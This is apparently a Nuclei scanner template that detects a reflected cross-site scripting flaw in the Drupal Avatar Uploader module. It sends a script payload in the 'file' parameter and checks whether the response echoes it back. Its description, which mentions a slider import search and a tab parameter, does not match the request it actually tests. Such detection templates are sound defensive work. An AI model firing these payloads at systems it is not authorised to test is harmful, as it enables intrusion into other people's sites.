id: drupal-avatar-xss

info:
  name: Drupal Avatar Uploader - Cross-Site Scripting
  author: bywalks
  severity: high
  description: |
    Drupal Avatar Uploader v7.x-1.0-beta8 plugin contains a cross-site scripting vulnerability in the slider import search feature and tab parameter via plugin settings.
  reference:
    - https://www.exploit-db.com/exploits/50841
    - https://packetstormsecurity.com/files/166409/Drupal-Avatar-Upload-7.x-1.0-beta8-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,drupal,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/avatar_uploader.pages.inc?file=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<div><script>alert(document.domain)</script></div>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ec7496ee28b48183dcb531a7354a15ad0cdcb91a60c6dd385ed9b7bb8dd6f14b022100d38f5736bc7f93a258f6eb2ff70ad6a04980255213708b36f83143e0383fe91c:922c64590222798bb761d5b6d8e72950